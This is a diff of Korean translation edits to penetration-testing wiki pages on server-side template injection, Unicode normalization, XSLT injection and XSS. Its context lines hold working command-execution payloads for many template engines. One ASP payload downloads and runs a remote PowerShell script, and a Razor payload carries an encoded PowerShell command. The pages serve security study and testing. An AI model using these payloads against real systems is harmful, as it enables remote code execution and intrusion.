- 반사에서 페이로드가 없거나 일부가 누락되어, 서버가 이를 일반 데이터와 다르게 처리함을 암시.
@ -61,22 +60,22 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
### [템플릿 주입 테이블](https://github.com/Hackmanit/template-injection-table)
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
가장 효율적인 템플릿 주입 폴리글롯과 44개의 가장 중요한 템플릿 엔진의 예상 응답을 포함하는 대화형 테이블입니다.
가장 효율적인 템플릿 인젝션 폴리글롯과 44개의 가장 중요한 템플릿 엔진의 예상 응답을 포함하는 인터랙티브 테이블입니다.
## 익스플로잇
## Exploits
### 일반
### Generic
이 **단어 목록**에서는 아래에 언급된 일부 엔진의 환경에서 **정의된 변수**를 찾을 수 있습니다:
이 **wordlist**에서는 아래에 언급된 일부 엔진의 환경에서 **정의된 변수**를 찾을 수 있습니다:
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
### 자바
### Java
**자바 - 기본 주입**
**Java - Basic injection**
```java
${7*7}
${{7*7}}
@ -151,7 +150,7 @@ $out.read()
```
**더 많은 정보**
- Velocity 섹션에서 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 의 Velocity 섹션
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
### Thymeleaf
@ -170,11 +169,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf는 이러한 표현식이 특정 속성 내에 배치되도록 요구합니다. 그러나 _expression inlining_은 다른 템플릿 위치에 대해 지원되며, `[[...]]` 또는 `[(...)]`와 같은 구문을 사용합니다. 따라서 간단한 SSTI 테스트 페이로드는 `[[${7*7}]]`와 같을 수 있습니다.
Thymeleaf는 이러한 표현식이 특정 속성 내에 배치되어야 합니다. 그러나 _expression inlining_은 다른 템플릿 위치에 대해 지원되며, `[[...]]` 또는 `[(...)]`와 같은 구문을 사용합니다. 따라서 간단한 SSTI 테스트 페이로드는 `[[${7*7}]]`와 같을 수 있습니다.
그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. Thymeleaf의 기본 구성은 동적 템플릿 생성을 지원하지 않으며, 템플릿은 미리 정의되어야 합니다. 개발자는 문자열에서 즉석으로 템플릿을 생성하기 위해 자신의 `TemplateResolver`를 구현해야 하며, 이는 드뭅니다.
그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. Thymeleaf의 기본 구성은 동적 템플릿 생성을 지원하지 않으며, 템플릿은 미리 정의되어야 합니다. 개발자는 문자열에서 즉 템플릿을 생성하기 위해 자신의 `TemplateResolver`를 구현해야 하며, 이는 드뭅니다.
Thymeleaf는 또한 _expression preprocessing_을 제공하며, 이중 밑줄(`__...__`) 내의 표현식이 전처리됩니다. 이 기능은 표현식 구성에 활용될 수 있으며, Thymeleaf의 문서에서 설명된 바와 같습니다:
Thymeleaf는 또한 _expression preprocessing_을 제공하며, 이중 밑줄(`__...__`) 내의 표현식이 전처리됩니다. 이 기능은 Thymeleaf 문서에서 보여준 바와 같이 표현식 구성에 활용될 수 있습니다:
```java
#{selection.__${sel.code}__}
```
@ -190,7 +189,7 @@ Thymeleaf는 또한 _expression preprocessing_을 제공하며, 이중 밑줄(`_
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**추가 정보**
**더 많은 정보**
- [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
@ -258,7 +257,7 @@ el-expression-language.md
- `{{ someString.toUPPERCASE() }}`
Pebble의 이전 버전 ( < version 3.0.9):
구버전 Pebble ( < version 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
@ -294,7 +293,7 @@ Jinjava는 Hubspot에서 개발한 오픈 소스 프로젝트로, [https://githu
**Jinjava - 명령 실행**
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)에서 수정됨.
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)에서 수정됨
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
@ -373,7 +372,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}`
Expression Language (EL)은 JavaEE에서 프레젠테이션 레이어(웹 페이지와 같은)와 애플리케이션 로직(관리되는 빈과 같은) 간의 상호작용을 촉진하는 기본 기능입니다. 이 통신을 간소화하기 위해 여러 JavaEE 기술에서 광범위하게 사용됩니다. EL을 활용하는 주요 JavaEE 기술은 다음과 같습니다:
표현 언어(EL)는 JavaEE에서 프레젠테이션 레이어(웹 페이지와 같은)와 애플리케이션 로직(관리되는 빈과 같은) 간의 상호작용을 촉진하는 기본 기능입니다. 이 통신을 간소화하기 위해 여러 JavaEE 기술에서 광범위하게 사용됩니다. EL을 활용하는 주요 JavaEE 기술은 다음과 같습니다:
- **JavaServer Faces (JSF)**: JSF 페이지의 구성 요소를 해당 백엔드 데이터 및 작업에 바인딩하기 위해 EL을 사용합니다.
- **JavaServer Pages (JSP)**: JSP 페이지 내에서 데이터에 접근하고 조작하기 위해 JSP에서 EL을 사용하여 페이지 요소를 애플리케이션 데이터에 연결하는 것을 쉽게 만듭니다.
@ -387,7 +386,7 @@ el-expression-language.md
### Groovy (Java)
다음 보안 관리자 우회는 이 [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)에서 가져왔습니다.
다음 보안 관리자 우회는 이 [**작성물**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)에서 가져왔습니다.
```java
//Basic Payload
import groovy.*;
@ -418,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 확인하세요.
##
### Smarty (PHP)
@ -432,7 +429,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
**더 많은 정보**
- Smarty 섹션은 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)에서 확인할 수 있습니다.
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)의 Smarty 섹션
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
@ -477,14 +474,14 @@ $output = $twig > render (
array("first_name" => $user.first_name)
);
```
**더 많은 정보**
**추가 정보**
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 의 Twig 및 Twig (Sandboxed) 섹션
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)의 Twig 및 Twig (Sandboxed) 섹션
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
Plates는 PHP에 고유한 템플릿 엔진으로, Twig에서 영감을 받았습니다. 그러나 새로운 구문을 도입하는 Twig와 달리, Plates는 템플릿에서 네이티브 PHP 코드를 활용하여 PHP 개발자에게 직관적입니다.
Plates는 PHP에 고유한 템플릿 엔진으로, Twig에서 영감을 받았습니다. 그러나 새로운 구문을 도입하는 Twig와 달리, Plates는 템플릿에서 기본 PHP 코드를 활용하여 PHP 개발자에게 직관적입니다.
Controller:
```php
@ -607,9 +604,9 @@ echo $t->finish($t->parse('OUT', 'authors'));
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
**더 많은 정보**
**추가 정보**
- Jade 섹션은 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)에서 확인할 수 있습니다.
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)의 Jade 섹션
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
@ -632,7 +629,7 @@ Hello {NAME}.<br/>
### Handlebars (NodeJS)
경로 탐색 (자세한 정보 [여기](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)를 참조하세요).
경로 탐색(Path Traversal) (자세한 정보 [여기](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
@ -669,12 +666,12 @@ URLencoded:
### JsRender (NodeJS)
| **템플릿** | **설명** |
| ---------- | ------------------------------------ |
| | 출력 평가 및 렌더링 |
| | HTML 인코딩된 출력 평가 및 렌더링 |
| | 주석 |
| 및 | 코드 허용 (기본적으로 비활성화됨) |
| **템플릿** | **설명** |
| ---------- | -------------------------------------- |
| | 출력 평가 및 렌더링 |
| | HTML 인코딩된 출력 평가 및 렌더링 |
| | 주석 |
| 및 | 코드 허용 (기본적으로 비활성화됨) |
- \= 49
@ -817,7 +814,7 @@ range.constructor(
[공식 웹사이트](http://jinja.pocoo.org)
> Jinja2는 Python을 위한 완전한 기능의 템플릿 엔진입니다. 전체 유니코드 지원, 선택적 통합 샌드박스 실행 환경을 갖추고 있으며, 널리 사용되고 BSD 라이센스를 가지고 있습니다.
> Jinja2는 Python을 위한 완전한 기능의 템플릿 엔진입니다. 완전한 유니코드 지원, 선택적 통합 샌드박스 실행 환경을 갖추고 있으며, 널리 사용되고 BSD 라이센스를 가지고 있습니다.
- `{{7*7}} = Error`
- `${7*7} = ${7*7}`
@ -896,7 +893,7 @@ ${x}
<figure><img src="../../images/image (3) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 확인하세요.
- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Razor (.Net)
@ -911,7 +908,7 @@ ${x}
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
.NET `System.Diagnostics.Process.Start` 메서드는 서버에서 모든 프로세스를 시작하고 웹쉘을 생성하는 데 사용할 수 있습니다. 취약한 웹앱 예제는 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)에서 찾을 수 있습니다.
.NET `System.Diagnostics.Process.Start` 메서드는 서버에서 모든 프로세스를 시작하는 데 사용될 수 있으며, 따라서 웹쉘을 생성할 수 있습니다. 취약한 웹앱 예제는 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)에서 찾을 수 있습니다.
**더 많은 정보**
@ -922,7 +919,7 @@ ${x}
- `<%= 7*7 %>` = 49
- `<%= "foo" %>` = foo
- `<%= foo %>` = 아무것도 아님
- `<%= foo %>` = 없음
- `<%= response.write(date()) %>` = \<Date>
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
@ -959,9 +956,9 @@ vbnet Copy code
**RCE Exploitation**
RCE 취약점은 `html/template``text/template` 간에 상당히 다릅니다. `text/template` 모듈은 "call" 값을 사용하여 모든 공개 함수를 직접 호출할 수 있지만, `html/template`에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 [html/template에 대한 여기](https://golang.org/pkg/html/template/)와 [text/template에 대한 여기](https://golang.org/pkg/text/template/)에서 확인할 수 있습니다.
RCE 착취는 `html/template``text/template` 간에 상당히 다릅니다. `text/template` 모듈은 "call" 값을 사용하여 모든 공개 함수를 직접 호출할 수 있지만, `html/template`에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 [html/template에 대한 여기](https://golang.org/pkg/html/template/)와 [text/template에 대한 여기](https://golang.org/pkg/text/template/)에서 확인할 수 있습니다.
Go에서 SSTI를 통한 RCE를 위해 객체 메서드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 명령을 실행하는 `System` 메서드가 있는 경우, `{{ .System "ls" }}`와 같이 악용할 수 있습니다. 이를 악용하기 위해서는 일반적으로 소스 코드에 접근해야 합니다, 주어진 예와 같이:
Go에서 SSTI를 통한 RCE를 위해 객체 메서드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 명령을 실행하는 `System` 메서드가 있는 경우, `{{ .System "ls" }}`와 같이 착취할 수 있습니다. 이를 착취하기 위해서는 일반적으로 소스 코드에 접근해야 합니다, 주어진 예와 같이:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@ -997,7 +994,9 @@ return string(out)
## 브루트포스 탐지 목록
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
## 연습 및 참고자료

View File

@ -6,18 +6,18 @@
## 유니코드 및 정규화 이해하기
유니코드 정규화는 문자의 서로 다른 이진 표현이 동일한 이진 값으로 표준화되도록 하는 과정입니다. 이 과정은 프로그래밍 및 데이터 처리에서 문자열을 다룰 때 매우 중요합니다. 유니코드 표준은 두 가지 유형의 문자 동등성을 정의합니다:
유니코드 정규화는 서로 다른 문자에 대한 이진 표현이 동일한 이진 값으로 표준화되도록 하는 과정입니다. 이 과정은 프로그래밍 및 데이터 처리에서 문자열을 다룰 때 매우 중요합니다. 유니코드 표준은 두 가지 유형의 문자 동등성을 정의합니다:
1. **정 동등성**: 문자가 인쇄되거나 표시될 때 동일한 모양과 의미를 가지면 정규 동등한 것으로 간주됩니다.
1. **정 동등성**: 문자가 인쇄되거나 표시될 때 동일한 모양과 의미를 가지면 정준 동등하다고 간주됩니다.
2. **호환성 동등성**: 문자가 동일한 추상 문자를 나타낼 수 있지만 다르게 표시될 수 있는 약한 형태의 동등성입니다.
**네 가지 유니코드 정규화 알고리즘**이 있습니다: NFC, NFD, NFKC, NFKD. 각 알고리즘은 정 및 호환성 정규화 기술을 다르게 적용합니다. 더 깊이 있는 이해를 원하시면 [Unicode.org](https://unicode.org/)에서 이러한 기술을 탐색할 수 있습니다.
**네 가지 유니코드 정규화 알고리즘**이 있습니다: NFC, NFD, NFKC, NFKD. 각 알고리즘은 정 및 호환성 정규화 기술을 다르게 적용합니다. 더 깊이 있는 이해를 원하시면 [Unicode.org](https://unicode.org/)에서 이러한 기술을 탐색할 수 있습니다.
### 유니코드 인코딩에 대한 주요 사항
유니코드 인코딩을 이해하는 것은 서로 다른 시스템이나 언어 간의 상호 운용성 문제를 다룰 때 특히 중요합니다. 주요 사항은 다음과 같습니다:
- **코드 포인트 문자**: 유니코드에서 각 문자 또는 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다.
- **코드 포인트 문자**: 유니코드에서 각 문자 또는 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다.
- **바이트 표현**: 코드 포인트(또는 문자)는 메모리에서 하나 이상의 바이트로 표현됩니다. 예를 들어, LATIN-1 문자는(영어 사용 국가에서 일반적) 하나의 바이트를 사용하여 표현됩니다. 그러나 더 많은 문자 집합을 가진 언어는 표현을 위해 더 많은 바이트가 필요합니다.
- **인코딩**: 이 용어는 문자가 일련의 바이트로 변환되는 방식을 나타냅니다. UTF-8은 ASCII 문자가 하나의 바이트로 표현되고, 다른 문자는 최대 네 개의 바이트로 표현되는 일반적인 인코딩 표준입니다.
- **데이터 처리**: 데이터를 처리하는 시스템은 바이트 스트림을 문자로 올바르게 변환하기 위해 사용된 인코딩을 인식해야 합니다.
@ -33,7 +33,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### 발견하기
웹앱에서 반환되는 값을 찾을 수 있다면, **KELVIN SIGN (U+0212A)**을 보내보세요. 이는 **"K"로 정규화**됩니다 (이를 `%e2%84%aa`로 보낼 수 있습니다). **"K"가 반환된다면**, 어떤 종류의 **유니코드 정규화**가 수행되고 있는 것입니다.
웹앱에서 반환되는 값을 찾을 수 있다면, **KELVIN SIGN (U+0212A)**을 보내보세요. 이는 **"K"로 정규화**됩니다 (이를 `%e2%84%aa`로 보낼 수 있습니다). **"K"가 반환된다면**, 어떤 종류의 **유니코드 정규화**가 수행되고 있는 것입니다.
다른 **예시**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83`**유니코드** 후에 `Leonishan`입니다.
@ -43,7 +43,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
사용자 입력으로 SQL 쿼리를 생성하는 데 문자 `'`를 사용하는 웹 페이지를 상상해 보세요. 이 웹은 보안 조치로 사용자 입력에서 문자 **`'`**의 모든 발생을 **삭제**하지만, **그 삭제 후**와 **쿼리 생성 전**에 사용자 입력을 **유니코드**로 **정규화**합니다.
런 다음, 악의적인 사용자는 `' (0x27)`에 해당하는 다른 유니코드 문자 `%ef%bc%87`을 삽입할 수 있습니다. 입력이 정규화되면 단일 인용부호가 생성되고 **SQL 인젝션 취약점**이 발생합니다:
렇다면, 악의적인 사용자는 `' (0x27)`에 해당하는 다른 유니코드 문자 `%ef%bc%87`을 삽입할 수 있습니다. 입력이 정규화되면 단일 인용부호가 생성되고 **SQL 인젝션 취약점**이 발생합니다:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
@ -75,11 +75,13 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
```
#### sqlmap 템플릿
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
{{#ref}}
https://github.com/carlospolop/sqlmap_to_unicode_template
{{#endref}}
### XSS (교차 사이트 스크립팅)
다음 문자 중 하나를 사용하여 웹앱을 속이고 XSS를 악용할 수 있습니다:
웹앱을 속이고 XSS를 악용하기 위해 다음 문자 중 하나를 사용할 수 있습니다:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
@ -89,7 +91,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### 퍼징 정규 표현식
백엔드가 **사용자 입력을 정규 표현식으로 확인할 때**, **입력**이 **정규 표현식**에 대해 **정규화**되지만 **사용되는 곳**에 대해서는 **정규화되지 않을** 수 있습니다. 예를 들어, Open Redirect 또는 SSRF에서 정규 표현식이 **전송된 URL을 정규화**할 수 있지만, 그 후 **있는 그대로 접근**할 수 있습니다.
백엔드가 **사용자 입력을 정규 표현식으로 확인할 때**, **입력**이 **정규 표현식**에 대해 **정규화**되지만 **사용되는 곳**에 대해서는 **정규화되지 않을** 수 있습니다. 예를 들어, Open Redirect 또는 SSRF에서 정규 표현식은 **전송된 URL**을 **정규화**할 수 있지만, 그 후 **있는 그대로 접근**할 수 있습니다.
도구 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\*는 백엔드를 퍼징하기 위해 **입력의 변형을 생성**할 수 있게 해줍니다. 더 많은 정보는 **github**와 이 [**게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.

View File

@ -367,16 +367,18 @@ version="1.0">
</xsl:template>
</xsl:stylesheet>
```
(Example from [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
(예시: [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
## 더 많은 페이로드
- Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
- Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) 확인
- [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) 확인
## **브루트포스 탐지 목록**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
{{#endref}}
## **참고문헌**

View File

@ -2,7 +2,7 @@
## 방법론
1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 의해 **사용**되는지 확인합니다.
1. **당신이 제어하는 모든 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 의해 **사용**되는지 확인합니다.
2. **반영/사용되는 맥락**을 찾습니다.
3. **반영된 경우**
1. **어떤 기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비합니다:
@ -11,7 +11,7 @@
2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있습니까?
3. 보호를 우회할 수 있습니까?
4. HTML 콘텐츠가 클라이언트 측 JS 엔진 (_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다.
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트리스 주입**](../dangling-markup-html-scriptless-injection/)을 악용할 수 있습니까?
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트 없는 주입**](../dangling-markup-html-scriptless-injection/)을 악용할 수 있습니까?
2. **HTML 태그** 내부에서:
1. 원시 HTML 맥락으로 나갈 수 있습니까?
2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 생성할 수 있습니까?
@ -25,7 +25,7 @@
4. 실행 중인 Javascript **함수**
1. 실행할 함수의 이름을 지정할 수 있습니다. 예: `?callback=alert(1)`
4. **사용된 경우**:
1. **DOM XSS**를 악용할 수 있습니다. 입력이 어떻게 제어되는지, 그리고 **제어된 입력이 어떤 싱크에 의해 사용되는지** 주의하십시오.
1. **DOM XSS**를 악용할 수 있으며, 당신의 입력이 어떻게 제어되는지, 그리고 당신의 **제어된 입력이 어떤 싱크에 사용되는지** 주의하십시오.
복잡한 XSS 작업을 할 때 알아두면 유용한 정보는 다음과 같습니다:
@ -47,7 +47,7 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
### 원시 HTML
당신의 입력이 **원시 HTML** 페이지에 **반영된다면**, JS 코드를 실행하기 위해 일부 **HTML 태그**를 악용해야 합니다: `<img , <iframe , <svg , <script` ... 이들은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.\
당신의 입력이 **원시 HTML** 페이지에 **반영된다면**, JS 코드를 실행하기 위해 일부 **HTML 태그**를 악용해야 합니다: `<img , <iframe , <svg , <script` ... 이들은 당신이 사용할 수 있는 많은 가능한 HTML 태그 중 일부에 불과합니다.\
또한, [클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)을 염두에 두십시오.
### HTML 태그 속성 내부
@ -55,9 +55,9 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
당신의 입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있습니다:
1. **속성과 태그에서 이스케이프**하여 (그럼 원시 HTML에 있게 됩니다) 악용할 새로운 HTML 태그를 생성합니다: `"><img [...]`
2. **속성에서 이스케이프할 수 있지만 태그에서 이스케이프할 수 없는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 **JS 코드를 실행하는 이벤트**를 생성할 수 있습니다: `" autofocus onfocus=alert(1) x="`
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), **어떤 속성**에 당신의 값이 반영되고 있는지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. 예를 들어, `onclick=`과 같은 이벤트를 제어하면 클릭 시 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="**
2. **속성에서 이스케이프할 수 있지만 태그에서 이스케이프할 수 없는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 **이벤트를 생성**하여 JS 코드를 실행할 수 있습니다: `" autofocus onfocus=alert(1) x="`
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), 당신의 값이 반영되는 **어떤 속성**인지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. 예를 들어, `onclick=`과 같은 이벤트를 제어한다면 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 종류의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="**
클래스 이름을 제어할 경우 Angular가 XSS를 실행하는 이상한 예:
```html
@ -94,7 +94,7 @@ js-hoisting.md
여러 웹 페이지에는 **실행할 함수의 이름을 매개변수로 받아들이는 엔드포인트**가 있습니다. 실제로 흔히 볼 수 있는 예는 `?callback=callbackFunc`와 같은 것입니다.
사용자가 직접 제공한 것이 실행되려고 하는지 알아내는 좋은 방법은 **매개변수 값을 수정하는 것**(예: 'Vulnerable'로 변경)이고, 콘솔에서 다음과 같은 오류를 찾는 것입니다:
사용자가 직접 제공한 것이 실행되려고 하는지 알아내는 좋은 방법은 **매개변수 값을 수정하는 것**입니다 (예: 'Vulnerable'로 변경) 그리고 콘솔에서 다음과 같은 오류를 확인하는 것입니다:
![](<../../images/image (711).png>)
@ -112,7 +112,7 @@ nextElementSibiling
lastElementSibiling
parentElement
```
당신은 또한 **Javascript 함수를 직접 트리거**할 수 있습니다: `obj.sales.delOrders`.
당신은 또한 **자바스크립트 함수**를 직접 **트리거**할 수 있습니다: `obj.sales.delOrders`.
그러나 일반적으로 지정된 함수를 실행하는 엔드포인트는 흥미로운 DOM이 많지 않은 엔드포인트입니다. **같은 출처의 다른 페이지**는 더 많은 작업을 수행할 수 있는 **더 흥미로운 DOM**을 가질 것입니다.
@ -132,7 +132,7 @@ dom-xss.md
### **유니버설 XSS**
